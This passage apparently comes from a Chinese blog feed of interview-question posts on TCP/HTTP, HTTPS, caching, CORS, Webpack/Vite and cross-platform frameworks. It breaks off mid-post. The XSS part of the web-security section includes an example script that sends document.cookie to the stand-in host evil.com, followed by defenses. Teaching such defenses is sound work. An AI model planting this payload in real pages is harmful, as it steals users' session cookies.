Gzip	压缩文本类资源，减小 70% 体积
HTTPS	`ssl_certificate` + HTTP 301 跳转
灰度发布	`map` + `weight` 或 Cookie/Header
alias vs root	alias 替换路径，root 拼接路径

[!TIP] 下一篇：MySQL 面试题

涵盖索引原理、事务隔离级别、SQL 优化、锁机制等后端必备知识。

网络与 HTTP 面试题（中高级）

Wed, 16 Sep 2026 04:00:00 GMT

[!NOTE] 本文包含 25+ 道网络与 HTTP 面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

TCP/IP 基础

Q1: TCP 三次握手和四次挥手？⭐⭐ 🔥

答：

三次握手（建立连接）：

客户端                          服务端
  │                               │
  │──── SYN(seq=x) ──────────────>│  第一次：客户端发起连接
  │                               │
  │<─── SYN+ACK(seq=y,ack=x+1) ──│  第二次：服务端确认并回应
  │                               │
  │──── ACK(ack=y+1) ────────────>│  第三次：客户端确认
  │                               │
  └───── 连接建立 ─────────────────┘

为什么是三次而不是两次？ 防止过期的连接请求突然到达服务端，造成资源浪费。

四次挥手（断开连接）：

客户端                          服务端
  │                               │
  │──── FIN(seq=u) ──────────────>│  第一次：客户端请求关闭
  │                               │
  │<─── ACK(ack=u+1) ────────────│  第二次：服务端确认（可能还有数据要发）
  │                               │
  │<─── FIN(seq=w) ──────────────│  第三次：服务端也请求关闭
  │                               │
  │──── ACK(ack=w+1) ────────────>│  第四次：客户端确认，等待 2MSL
  │                               │
  └───── 连接关闭 ─────────────────┘

为什么是四次？ TCP 是全双工，两个方向需要分别关闭。

TIME_WAIT（2MSL）的作用：

确保最后的 ACK 能到达对方（重传机制）
让本次连接的残留数据包在网络中消散

Q2: TCP 和 UDP 的区别？⭐

特性	TCP	UDP
连接	面向连接	无连接
可靠性	可靠（重传、排序）	不可靠
速度	慢	快
头部	20 字节	8 字节
流量控制	有（滑动窗口）	无
应用场景	HTTP、FTP、SMTP	DNS、视频、游戏

HTTP 协议

Q3: HTTP 请求方法有哪些？⭐ 🔥

方法	说明	幂等
`GET`	获取资源	✅
`POST`	创建资源	❌
`PUT`	更新资源（全量）	✅
`PATCH`	更新资源（部分）	❌
`DELETE`	删除资源	✅
`HEAD`	获取响应头	✅
`OPTIONS`	预检请求	✅

// 幂等性：多次请求产生相同结果
GET /users/1        // 幂等
DELETE /users/1     // 幂等（第一次成功，后续返回 404）
POST /users         // 不幂等（每次创建新用户）
PUT /users/1        // 幂等（全量更新，结果一致）

Q4: HTTP 状态码分类？⭐ 🔥

分类	含义	常见状态码
1xx	信息	100 Continue, 101 Switching Protocols
2xx	成功	200 OK, 201 Created, 204 No Content
3xx	重定向	301 永久, 302 临时, 304 Not Modified
4xx	客户端错误	400 参数错误, 401 未认证, 403 无权限, 404 不存在
5xx	服务端错误	500 内部错误, 502 网关错误, 503 服务不可用

// 301 vs 302
// 301：永久重定向，浏览器缓存，SEO 权重转移
// 302：临时重定向，不缓存

// 304：协商缓存命中，不返回 body
// 502 vs 504
// 502：上游服务返回无效响应
// 504：上游服务超时

Q5: HTTP/1.1、HTTP/2、HTTP/3 的区别？⭐⭐ 🔥

答：

特性	HTTP/1.1	HTTP/2	HTTP/3
连接	长连接（Keep-Alive）	多路复用	多路复用
传输层	TCP	TCP	QUIC (UDP)
头部	文本，重复	HPACK 压缩	QPACK 压缩
队头阻塞	有（TCP 层）	无（应用层），TCP 层仍有	完全解决
服务端推送	不支持	支持	支持
加密	可选	默认 TLS	内置 TLS 1.3

HTTP/2 多路复用：

HTTP/1.1（串行请求）
请求1 → 响应1 → 请求2 → 响应2 → 请求3 → 响应3

HTTP/2（并行多路复用，同一连接）
连接 {
  Stream 1: 请求1 → 响应1
  Stream 2: 请求2 → 响应2
  Stream 3: 请求3 → 响应3
}  // 同时进行，互不阻塞

HTTP/3 (QUIC) 的优势：

基于 UDP，0-RTT 建连（更快）
彻底解决 TCP 队头阻塞
连接迁移（切换网络不断开）

HTTPS

Q6: HTTPS 的握手过程？⭐⭐⭐ 🔥

答：

客户端                                    服务端
  │                                         │
  │── ClientHello（支持的加密套件、随机数1）──>│
  │                                         │
  │<── ServerHello（选定加密套件、随机数2）──│
  │<── Certificate（服务端证书）────────────│
  │<── ServerHelloDone ────────────────────│
  │                                         │
  │  验证证书（CA 签名链）                   │
  │  生成随机数3（Pre-Master Secret）        │
  │                                         │
  │── ClientKeyExchange（加密的随机数3）───>│
  │── ChangeCipherSpec ───────────────────>│
  │── Finished（加密握手信息）────────────>│
  │                                         │
  │<── ChangeCipherSpec ──────────────────│
  │<── Finished ──────────────────────────│
  │                                         │
  └──── 对称加密通信 ────────────────────────┘

  会话密钥 = f(随机数1, 随机数2, 随机数3)

为什么混合使用非对称加密和对称加密？

非对称加密（RSA/ECDHE）：安全交换密钥，但速度慢
对称加密（AES）：速度快，适合大量数据传输
结合两者优势：用非对称加密传输对称密钥，再用对称加密传输数据

Q7: 什么是中间人攻击？HTTPS 如何防范？⭐⭐⭐

中间人攻击（MITM）：
客户端 ←→ 攻击者 ←→ 服务端
（攻击者截获并篡改通信内容）

HTTPS 防范手段：
1. CA 证书验证：浏览器内置受信任的 CA 根证书
2. 证书链验证：服务器证书 → 中间 CA → 根 CA
3. 数字签名：CA 用私钥签名，客户端用公钥验证
4. HSTS：强制使用 HTTPS（HTTP Strict Transport Security）

HTTP 缓存

Q8: 强缓存和协商缓存？⭐⭐ 🔥

答：

浏览器请求资源
      ↓
检查强缓存（Cache-Control / Expires）
      ↓
命中 → 直接使用本地缓存（200 from disk/memory cache）
      ↓（未命中或过期）
发送请求，携带协商缓存标识
      ↓
服务端检查（Last-Modified / ETag）
      ↓
未修改 → 304 Not Modified（使用本地缓存）
已修改 → 200 OK（返回新资源）

强缓存：

# Cache-Control（HTTP/1.1，优先级高）
Cache-Control: max-age=31536000        # 缓存 1 年
Cache-Control: public                  # 可被代理缓存
Cache-Control: private                 # 只能被浏览器缓存
Cache-Control: no-cache                # 不缓存，每次协商
Cache-Control: no-store                # 完全不缓存
Cache-Control: immutable               # 内容永不改变

# Expires（HTTP/1.0，绝对时间，受客户端时间影响）
Expires: Wed, 21 Oct 2026 07:28:00 GMT

协商缓存：

# Last-Modified / If-Modified-Since（秒级精度）
Last-Modified: Wed, 21 Oct 2025 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2025 07:28:00 GMT

# ETag / If-None-Match（内容 hash，更精确）
ETag: "a3f5c8b2d1"
If-None-Match: "a3f5c8b2d1"

最佳实践：

# 静态资源（带 hash 文件名）：强缓存 1 年
location /assets/ {
  add_header Cache-Control "public, max-age=31536000, immutable";
}

# HTML 文件：协商缓存
location ~* \.html$ {
  add_header Cache-Control "no-cache";
}

跨域

Q9: 什么是同源策略？跨域解决方案？⭐⭐ 🔥

答：

同源策略：协议 + 域名 + 端口三者相同才是同源。

http://example.com       → http://example.com/api   ✅ 同源
http://example.com       → https://example.com      ❌ 协议不同
http://example.com       → http://api.example.com   ❌ 域名不同
http://example.com:80    → http://example.com:8080  ❌ 端口不同

跨域解决方案：

// 1. CORS（推荐，服务端配置）
// 简单请求（GET/POST/HEAD，Content-Type 限制）
// 复杂请求（PUT/DELETE 等，会先发 OPTIONS 预检）

// 服务端响应头
Access-Control-Allow-Origin: http://example.com  // 或 *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true           // 允许携带 Cookie
Access-Control-Max-Age: 86400                    // 预检结果缓存时间

// 2. Nginx 代理（开发/生产）
// nginx.conf
location /api/ {
  proxy_pass http://backend-server/;
  proxy_set_header Host $host;
}

// 3. Webpack Dev Server 代理（开发）
// vue.config.js / webpack.config.js
devServer: {
  proxy: {
    '/api': {
      target: 'http://localhost:3000',
      changeOrigin: true,
      pathRewrite: { '^/api': '' },
    }
  }
}

// 4. JSONP（只支持 GET，已不推荐）
function jsonp(url, callback) {
  const script = document.createElement('script');
  const cbName = 'jsonp_' + Date.now();
  
  window[cbName] = (data) => {
    callback(data);
    delete window[cbName];
    document.body.removeChild(script);
  };
  
  script.src = `${url}?callback=${cbName}`;
  document.body.appendChild(script);
}

Q10: CORS 预检请求（OPTIONS）什么时候触发？⭐⭐

// 简单请求（不触发预检）
// 方法：GET / POST / HEAD
// Content-Type：
//   - text/plain
//   - multipart/form-data
//   - application/x-www-form-urlencoded

// 复杂请求（触发预检 OPTIONS）
// 1. 方法不是 GET/POST/HEAD
// 2. Content-Type 是 application/json
// 3. 自定义请求头（如 Authorization）
// 4. 使用了 ReadableStream

// 预检请求示例
OPTIONS /api/data HTTP/1.1
Origin: http://example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

// 预检响应
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400  // 缓存 24 小时，减少预检次数

Web 安全

Q11: XSS 和 CSRF 攻击及防御？⭐⭐ 🔥

XSS（跨站脚本攻击）：

// 存储型 XSS：恶意脚本存入数据库
// 反射型 XSS：恶意脚本在 URL 参数中
// DOM 型 XSS：前端直接操作 DOM 导致

// 攻击示例
<script>
  document.location = 'http://evil.com?cookie=' + document.cookie;
</script>

// 防御措施
// 1. 输入过滤（转义 HTML 特殊字符）
function escapeHtml(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
}

// 2. 输出编码（根据上下文选择）
// 3. CSP（内容安全策略）
// Content-Security-Policy: default-src 'self'; script-src 'self'

// 4. HttpOnly Cookie（防止 JS 读取 Cookie）
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict

CSRF（跨站请求伪造）：

// 攻击原理：用户登录 A 站后，访问恶意 B 站
// B 站发起对 A 站的请求，浏览器自动携带 A 站 Cookie

// 防御措施
// 1. CSRF Token（最有效）
// 服务端生成 Token，嵌入表单
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="random-token">
</form>

// 2. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict  // 完全禁止跨站携带
Set-Cookie: session=xxx; SameSite=Lax     // 允许顶级导航

// 3. 验证 Referer / Origin
// 4. 双重 Cookie 验证

复习卡片

知识点	关键记忆
三次握手	SYN → SYN+ACK → ACK
四次挥手	FIN → ACK → FIN → ACK（2MSL）
HTTP/2	多路复用、头部压缩、服务端推送
HTTPS	非对称传密钥 + 对称加密数据
强缓存	`Cache-Control: max-age`
协商缓存	`ETag` / `Last-Modified` → 304
跨域	CORS（推荐）、代理、JSONP
XSS 防御	输入过滤 + CSP + HttpOnly
CSRF 防御	CSRF Token + SameSite Cookie

[!TIP] 下一篇：Nginx 面试题

涵盖反向代理、负载均衡、静态资源服务、性能优化等核心知识点。

前端构建工具面试题（Webpack / Vite）

Wed, 16 Sep 2026 03:00:00 GMT

[!NOTE] 本文包含 25+ 道前端构建工具面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

Webpack 核心

Q1: Webpack 的构建流程？⭐⭐ 🔥

答：

初始化参数
    ↓
创建 Compiler 对象
    ↓
注册所有插件（plugins）
    ↓
确定入口（entry）
    ↓
从入口开始构建模块图（Module Graph）
    ↓
Loader 转换每个模块
    ↓
递归处理依赖模块
    ↓
生成 Chunk（代码块）
    ↓
输出 Bundle 到文件系统

// webpack.config.js 核心配置
module.exports = {
  entry: './src/index.js',       // 入口
  output: {                       // 输出
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash].js',
  },
  module: {
    rules: [                      // Loader 规则
      { test: /\.js$/, use: 'babel-loader' },
      { test: /\.css$/, use: ['style-loader', 'css-loader'] },
    ]
  },
  plugins: [                      // 插件
    new HtmlWebpackPlugin(),
    new MiniCssExtractPlugin(),
  ],
  optimization: {                 // 优化
    splitChunks: { chunks: 'all' },
    minimize: true,
  },
};

Q2: Loader 和 Plugin 的区别？⭐ 🔥

答：

特性	Loader	Plugin
作用	转换单个文件	扩展构建功能
时机	模块解析阶段	整个构建生命周期
本质	函数（接收源码，返回转换后代码）	类（监听 Compiler 事件）
示例	babel-loader、css-loader	HtmlWebpackPlugin、DefinePlugin

// Loader 本质：一个函数
function myLoader(source) {
  // source 是文件内容字符串
  return source.replace(/console\.log\(.*?\);?/g, '');
}
module.exports = myLoader;

// Plugin 本质：一个类，监听 Compiler hooks
class MyPlugin {
  apply(compiler) {
    // 监听 emit 事件（输出文件前）
    compiler.hooks.emit.tapAsync('MyPlugin', (compilation, callback) => {
      // 修改 compilation.assets
      callback();
    });
    
    // 监听 done 事件（构建完成）
    compiler.hooks.done.tap('MyPlugin', (stats) => {
      console.log('Build complete!');
    });
  }
}

Q3: 常见 Loader 有哪些？执行顺序？⭐⭐

答：

// 常见 Loader
// babel-loader    -> ES6+ 转 ES5
// css-loader      -> 解析 CSS 中的 @import 和 url()
// style-loader    -> 将 CSS 插入到 <style> 标签
// sass-loader     -> 编译 Sass/SCSS
// postcss-loader  -> 自动添加浏览器前缀（autoprefixer）
// file-loader     -> 处理图片/字体文件
// url-loader      -> 小文件转 base64
// ts-loader       -> 编译 TypeScript
// vue-loader      -> 解析 Vue SFC

// 执行顺序：从右到左，从下到上
module: {
  rules: [{
    test: /\.scss$/,
    use: [
      'style-loader',    // 4. 插入 DOM
      'css-loader',      // 3. 解析 CSS
      'postcss-loader',  // 2. 添加前缀
      'sass-loader',     // 1. 编译 Sass（先执行）
    ]
  }]
}

Q4: 常见 Plugin 有哪些？⭐⭐

答：

const HtmlWebpackPlugin = require('html-webpack-plugin');
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');
const TerserPlugin = require('terser-webpack-plugin');
const { CleanWebpackPlugin } = require('clean-webpack-plugin');
const DefinePlugin = require('webpack').DefinePlugin;
const CopyWebpackPlugin = require('copy-webpack-plugin');

plugins: [
  // 自动生成 HTML 并注入 bundle
  new HtmlWebpackPlugin({ template: './src/index.html' }),
  
  // 提取 CSS 为单独文件（生产环境）
  new MiniCssExtractPlugin({ filename: 'css/[name].[contenthash].css' }),
  
  // 清空 dist 目录
  new CleanWebpackPlugin(),
  
  // 定义全局变量（环境变量注入）
  new DefinePlugin({
    'process.env.API_URL': JSON.stringify(process.env.API_URL)
  }),
  
  // 复制静态文件
  new CopyWebpackPlugin({ patterns: [{ from: 'public', to: '' }] }),
],

optimization: {
  minimizer: [
    new TerserPlugin({ parallel: true }),       // 压缩 JS
    new CssMinimizerPlugin(),                    // 压缩 CSS
  ]
}

Tree Shaking

Q5: Tree Shaking 的原理？⭐⭐ 🔥

答：

Tree Shaking 是基于 ES Module 静态分析 的特性，在编译时移除未使用的代码。

// utils.js
export function add(a, b) { return a + b; }
export function subtract(a, b) { return a - b; } // 未使用
export const PI = 3.14159;

// main.js
import { add } from './utils'; // 只导入 add
console.log(add(1, 2));

// Tree Shaking 后，subtract 和 PI 会被移除

为什么需要 ESM？

// ESM：静态分析（编译时确定）
import { foo } from './module'; // 结构固定

// CommonJS：动态加载（运行时确定）
const module = require(condition ? './a' : './b'); // 无法静态分析

Tree Shaking 失效的常见情况：

// 1. 副作用代码
// package.json 中声明
{ "sideEffects": false } // 允许 Tree Shaking
{ "sideEffects": ["*.css"] } // CSS 文件有副作用，保留

// 2. Babel 将 ESM 转换为 CJS（破坏静态分析）
// babel.config.js
{
  "presets": [["@babel/preset-env", { "modules": false }]] // 保留 ESM
}

// 3. 导入整个对象
import * as utils from './utils'; // 无法 Tree Shaking

// 4. 类方法
class MyClass {
  usedMethod() {}
  unusedMethod() {} // 类方法无法被 Tree Shaking
}

代码分割

Q6: Webpack 代码分割的方式？⭐⭐ 🔥

答：

// 1. 多入口（entry）
entry: {
  app: './src/app.js',
  admin: './src/admin.js',
}

// 2. 动态导入（懒加载）
const LazyComponent = () => import('./components/Lazy.vue');
// React
const LazyComponent = React.lazy(() => import('./Lazy'));

// 3. splitChunks（提取公共代码）
optimization: {
  splitChunks: {
    chunks: 'all', // async | initial | all
    cacheGroups: {
      // 提取第三方库
      vendor: {
        test: /[\\/]node_modules[\\/]/,
        name: 'vendors',
        chunks: 'all',
        priority: 10,
      },
      // 提取公共模块
      common: {
        minChunks: 2,
        name: 'common',
        chunks: 'all',
        priority: 5,
        reuseExistingChunk: true,
      },
    },
  },
}

// 4. runtimeChunk（提取 Webpack 运行时代码）
optimization: {
  runtimeChunk: 'single', // 单独提取 runtime
}

Q7: contenthash 的作用？⭐⭐

// contenthash：根据文件内容生成 hash
// 只有文件内容变化，hash 才变化，利用浏览器缓存

output: {
  filename: 'js/[name].[contenthash:8].js',
  chunkFilename: 'js/[name].[contenthash:8].chunk.js',
},

// moduleIds: 'deterministic'
// 确保模块 ID 稳定，避免 hash 抖动
optimization: {
  moduleIds: 'deterministic',
  chunkIds: 'deterministic',
}

HMR (热模块替换)

Q8: HMR 的原理？⭐⭐⭐ 🔥

答：

HMR 工作流程：

1. Webpack 监听文件变化，重新编译修改的模块
2. Webpack Dev Server 通过 WebSocket 通知浏览器
3. 浏览器 HMR Runtime 接收更新信息
4. HMR Runtime 下载新的模块代码（JSONP）
5. 执行模块的 accept handler，替换旧模块
6. 如果没有 accept handler，则冒泡到父模块
7. 如果冒泡到入口还未处理，则整页刷新

// HMR API
if (module.hot) {
  module.hot.accept('./component.js', () => {
    // 组件更新时执行
    renderComponent();
  });
  
  module.hot.dispose(() => {
    // 模块卸载时清理
    cleanup();
  });
}

// Vue 中（vue-loader 自动处理）
// React 中（react-hot-loader / Fast Refresh）

Vite

Q9: Vite 为什么比 Webpack 快？⭐⭐ 🔥

答：

对比项	Webpack	Vite
冷启动	打包全部模块再启动	直接启动 Dev Server
HMR	重新打包受影响模块链	直接 ESM 模块替换
依赖预构建	无	esbuild（Go 语言，极快）
生产构建	Webpack 打包	Rollup 打包

Vite 开发模式原理：

浏览器请求 index.html
        ↓
Vite Dev Server 拦截请求
        ↓
按需编译请求的模块（不打包）
        ↓
以 ESM 格式返回给浏览器
        ↓
浏览器通过 <script type="module"> 加载
        ↓
遇到 import 再向 Vite 请求（按需加载）

// Vite 开发模式：浏览器原生 ESM
// index.html
<script type="module" src="/src/main.js"></script>

// main.js（Vite 直接返回，不打包）
import { createApp } from 'vue';  // 浏览器请求 /node_modules/.vite/vue.js
import App from './App.vue';       // 浏览器请求 /src/App.vue（Vite 编译）

依赖预构建（esbuild）：

// vite.config.js
export default {
  optimizeDeps: {
    include: ['lodash-es', 'axios'], // 强制预构建
    exclude: ['my-local-lib'],        // 排除预构建
  },
  // 预构建作用：
  // 1. 将 CJS 转为 ESM
  // 2. 将多文件模块合并（减少 HTTP 请求）
  // 3. esbuild 比 Webpack 快 10-100x
};

Q10: Vite 的生产构建？⭐⭐

// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';

export default defineConfig({
  plugins: [vue()],
  build: {
    target: 'es2015',
    outDir: 'dist',
    assetsDir: 'assets',
    sourcemap: false,
    minify: 'terser', // 或 'esbuild'（更快）
    
    rollupOptions: {
      output: {
        // 手动分割代码
        manualChunks: {
          vendor: ['vue', 'vue-router', 'pinia'],
          utils: ['lodash-es', 'dayjs'],
        },
      },
    },
    
    // 代码分割阈值
    chunkSizeWarningLimit: 500, // KB
  },
});

性能优化

Q11: Webpack 构建速度优化？⭐⭐ 🔥

// 1. 缩小 Loader 作用范围
{
  test: /\.js$/,
  use: 'babel-loader',
  exclude: /node_modules/, // 排除 node_modules
  // 或 include: path.resolve(__dirname, 'src')
}

// 2. 缓存
{
  test: /\.js$/,
  use: [{
    loader: 'babel-loader',
    options: { cacheDirectory: true } // 缓存编译结果
  }]
}
// 或使用 filesystem cache（Webpack 5）
cache: {
  type: 'filesystem',
  buildDependencies: { config: [__filename] },
}

// 3. 多线程构建
const ThreadLoader = require('thread-loader');
{
  test: /\.js$/,
  use: [ThreadLoader, 'babel-loader'] // 多进程
}

// 4. DLL 预编译（Webpack 4，Webpack 5 用 cache 代替）
// 将第三方库提前编译，不随业务代码重新打包

// 5. resolve 优化
resolve: {
  extensions: ['.js', '.jsx', '.ts', '.tsx'], // 减少后缀尝试
  alias: { '@': path.resolve(__dirname, 'src') }, // 路径别名
  modules: [path.resolve(__dirname, 'node_modules')], // 指定查找目录
}

// 6. 使用更快的工具
// terser-webpack-plugin（parallel: true）
// esbuild-loader（替代 babel-loader + terser）

Q12: Webpack 产物体积优化？⭐⭐ 🔥

// 1. Tree Shaking（已讲）
// 确保使用 ESM，配置 sideEffects

// 2. 代码分割（已讲）
// splitChunks + 动态导入

// 3. 压缩
optimization: {
  minimize: true,
  minimizer: [
    new TerserPlugin({
      parallel: true,
      terserOptions: {
        compress: { drop_console: true, drop_debugger: true }
      }
    }),
    new CssMinimizerPlugin(),
  ]
},

// 4. Gzip 压缩（配合 Nginx）
const CompressionPlugin = require('compression-webpack-plugin');
new CompressionPlugin({
  algorithm: 'gzip',
  test: /\.js$|\.css$|\.html$/,
  threshold: 10240, // 只压缩 > 10KB 的文件
})

// 5. 图片优化
const ImageMinimizerPlugin = require('image-minimizer-webpack-plugin');

// 6. 分析包体积
const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
new BundleAnalyzerPlugin() // 可视化分析

// 7. 按需引入组件库
// babel-plugin-import（Ant Design / Element UI）
{
  "plugins": [["import", { "libraryName": "antd", "style": "css" }]]
}

Babel

Q13: Babel 的编译流程？⭐⭐

答：

源代码 (JS/JSX/TS)
    ↓
解析 (Parse) → AST（抽象语法树）
    ↓
转换 (Transform) → 新 AST（插件处理）
    ↓
生成 (Generate) → 目标代码

// babel.config.js
module.exports = {
  presets: [
    ['@babel/preset-env', {
      targets: '> 0.25%, not dead', // 目标浏览器
      useBuiltIns: 'usage',          // 按需引入 polyfill
      corejs: 3,                     // core-js 版本
      modules: false,                // 保留 ESM（Tree Shaking）
    }],
    '@babel/preset-react',            // JSX 支持
    '@babel/preset-typescript',       // TS 支持
  ],
  plugins: [
    '@babel/plugin-transform-runtime', // 避免全局污染
    ['@babel/plugin-proposal-decorators', { legacy: true }], // 装饰器
  ],
};

复习卡片

知识点	关键记忆
Loader	文件转换器，从右到左执行
Plugin	生命周期扩展，监听 Compiler hooks
Tree Shaking	基于 ESM 静态分析，移除未使用代码
splitChunks	代码分割，提取公共代码和第三方库
HMR	WebSocket 通知 + 模块替换
Vite 快的原因	无需打包，原生 ESM + esbuild 预构建
contenthash	内容 hash，利用浏览器缓存
构建速度	exclude、cache、多线程、resolve 优化

[!TIP] 下一篇：网络与 HTTP 面试题

涵盖 TCP/IP、HTTP/2、HTTPS、缓存策略、跨域解决方案等核心知识点。

跨端框架面试题（uniapp / React Native / Flutter）

Wed, 16 Sep 2026 02:00:00 GMT

[!NOTE] 本文包含 20+ 道跨端框架面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

跨端方案概览

Q1: 主流跨端方案有哪些？各自原理是什么？⭐⭐ 🔥

答：

方案	技术栈	渲染方式	性能
React Native	JS + React	原生组件（Bridge/JSI）	接近原生
Flutter	Dart	自绘引擎（Skia）	最接近原生
uniapp	Vue	WebView / 原生（条件编译）	中等
Taro	React/Vue	小程序 / H5	中等
Ionic	JS + WebView	WebView	一般
Weex	Vue	原生组件	接近原生（已停维）

渲染架构对比：

React Native（新架构）
JS 线程 ←→ JSI (C++) ←→ 原生 UI 组件

Flutter
Dart 代码 → Skia 引擎 → GPU 直接绘制（不依赖原生组件）

uniapp（App 端）
Vue 代码 → WebView / 原生混合渲染

Q2: React Native 的通信机制？⭐⭐⭐

答：

旧架构（Bridge）：

JS Thread ←→ Bridge (异步 JSON 序列化) ←→ Native Thread

缺点：异步通信、序列化开销大、批量更新

新架构（JSI + TurboModules + Fabric）：

JS Thread ←→ JSI (C++ 直接引用) ←→ Native

JSI：JavaScript Interface，JS 可以直接调用 C++ 方法
TurboModules：按需加载原生模块，懒加载
Fabric：新渲染系统，支持同步布局

// JSI 使用示例（C++ HostObject）
// JS 侧直接调用原生方法，无需 Bridge 序列化
global.nativeModule.doSomething(arg);

uniapp

Q3: uniapp 的跨端原理？⭐⭐ 🔥

答：

uniapp 使用 条件编译 + 运行时适配 实现跨端：

// 条件编译
// #ifdef APP-PLUS
// App 端特有代码
uni.scanCode({ success: (res) => {} });
// #endif

// #ifdef H5
// H5 端特有代码
window.scrollTo(0, 0);
// #endif

// #ifdef MP-WEIXIN
// 微信小程序特有代码
wx.login({});
// #endif

各端渲染方式：

平台	渲染方式
H5	Vue → DOM
小程序	Vue → 小程序 DSL → 原生渲染
App (iOS/Android)	WebView + 原生组件混合
App (nvue)	Weex → 原生组件

Q4: uniapp 的生命周期？⭐⭐

答：

// uniapp 有两套生命周期

// 1. 应用生命周期（App.vue）
export default {
  onLaunch(options) {},    // 应用初始化（全局只触发一次）
  onShow(options) {},      // 应用进入前台
  onHide() {},             // 应用进入后台
  onError(err) {},         // 应用报错
  onPageNotFound() {},     // 页面不存在
};

// 2. 页面生命周期（页面 .vue）
export default {
  // Vue 生命周期
  beforeCreate() {},
  created() {},
  mounted() {},
  
  // uniapp 页面生命周期
  onLoad(options) {},      // 页面加载（可获取路由参数）
  onShow() {},             // 页面显示
  onReady() {},            // 页面初次渲染完成
  onHide() {},             // 页面隐藏
  onUnload() {},           // 页面卸载
  onPullDownRefresh() {},  // 下拉刷新
  onReachBottom() {},      // 触底加载
  onShareAppMessage() {}, // 分享
};

Q5: uniapp 路由和传参？⭐

// 页面跳转
uni.navigateTo({ url: '/pages/detail?id=123' });
uni.redirectTo({ url: '/pages/detail' });   // 关闭当前页
uni.switchTab({ url: '/pages/home' });       // 跳转 tabBar
uni.navigateBack({ delta: 1 });              // 返回
uni.reLaunch({ url: '/pages/login' });       // 重启应用

// 接收参数
export default {
  onLoad(options) {
    console.log(options.id); // '123'
  }
};

// 复杂参数（序列化）
const data = encodeURIComponent(JSON.stringify({ a: 1, b: 2 }));
uni.navigateTo({ url: `/pages/detail?data=${data}` });

// 接收
onLoad(options) {
  const data = JSON.parse(decodeURIComponent(options.data));
}

// EventChannel（页面间通信）
uni.navigateTo({
  url: '/pages/detail',
  success: (res) => {
    res.eventChannel.emit('acceptData', { data: 'from prev page' });
  }
});

React Native

Q6: React Native 常用组件和 API？⭐⭐

// 核心组件
import {
  View,           // div
  Text,           // span / p
  Image,          // img
  ScrollView,     // 滚动容器
  FlatList,       // 高性能列表
  SectionList,    // 分组列表
  TouchableOpacity, // 可点击容器
  TextInput,      // input
  Modal,          // 弹窗
  SafeAreaView,   // 安全区域
  StatusBar,      // 状态栏
} from 'react-native';

// FlatList（长列表必备）
<FlatList
  data={items}
  keyExtractor={(item) => item.id}
  renderItem={({ item }) => <ItemCard item={item} />}
  // 性能优化
  getItemLayout={(data, index) => ({
    length: ITEM_HEIGHT, offset: ITEM_HEIGHT * index, index
  })}
  initialNumToRender={10}
  maxToRenderPerBatch={10}
  windowSize={10}
  removeClippedSubviews={true}
/>

// 样式
const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
    backgroundColor: '#F5FCFF',
  },
});

Q7: React Native 性能优化？⭐⭐⭐ 🔥

答：

// 1. 使用 FlatList 而非 ScrollView（长列表）
// FlatList 有窗口化渲染，只渲染可见区域

// 2. 避免不必要的重渲染
const Item = React.memo(({ item }) => (
  <View><Text>{item.name}</Text></View>
));

// 3. 图片优化
import FastImage from 'react-native-fast-image';
<FastImage
  source={{ uri: imageUrl, priority: FastImage.priority.high }}
  style={{ width: 200, height: 200 }}
  resizeMode={FastImage.resizeMode.cover}
/>

// 4. 减少 Bridge 通信（旧架构）
// 批量操作，避免频繁调用原生方法

// 5. 动画使用 useNativeDriver
Animated.timing(animatedValue, {
  toValue: 1,
  duration: 300,
  useNativeDriver: true, // 在原生线程执行
}).start();

// 6. InteractionManager（延迟非关键任务）
InteractionManager.runAfterInteractions(() => {
  // 在动画/交互结束后执行
  loadHeavyData();
});

// 7. Hermes 引擎
// 启用 Hermes 可以显著减少启动时间和内存占用

Flutter

Q8: Flutter 的架构和渲染原理？⭐⭐⭐

答：

Flutter 三层架构：

┌─────────────────────────────────┐
│      Framework (Dart)           │
│  Material/Cupertino/Widgets     │
├─────────────────────────────────┤
│      Engine (C++)               │
│  Skia 绘图 / Dart VM / Text     │
├─────────────────────────────────┤
│      Embedder (平台层)           │
│  iOS / Android / Web / Desktop  │
└─────────────────────────────────┘

渲染流程：

Widget (描述 UI) → Element (管理生命周期) → RenderObject (布局绘制)

// Widget 是不可变的描述
class MyWidget extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Container(
      padding: EdgeInsets.all(16),
      child: Text('Hello Flutter'),
    );
  }
}

// StatefulWidget 管理状态
class CounterWidget extends StatefulWidget {
  @override
  _CounterState createState() => _CounterState();
}

class _CounterState extends State<CounterWidget> {
  int _count = 0;
  
  void _increment() {
    setState(() => _count++); // 触发重建
  }
  
  @override
  Widget build(BuildContext context) {
    return Column(
      children: [
        Text('Count: $_count'),
        ElevatedButton(
          onPressed: _increment,
          child: Text('Increment'),
        ),
      ],
    );
  }
}

跨端方案对比与选型

Q9: 跨端方案如何选型？⭐⭐ 🔥

答：

维度	uniapp	React Native	Flutter
学习成本	低（Vue）	中（React）	高（Dart）
性能	中	高	最高
生态	小程序优	丰富	快速增长
包体积	小	中	大（~10MB）
热更新	支持	支持	受限
原生能力	一般	强	强
适用场景	多端统一（含小程序）	重交互 App	高性能 UI

选型建议：

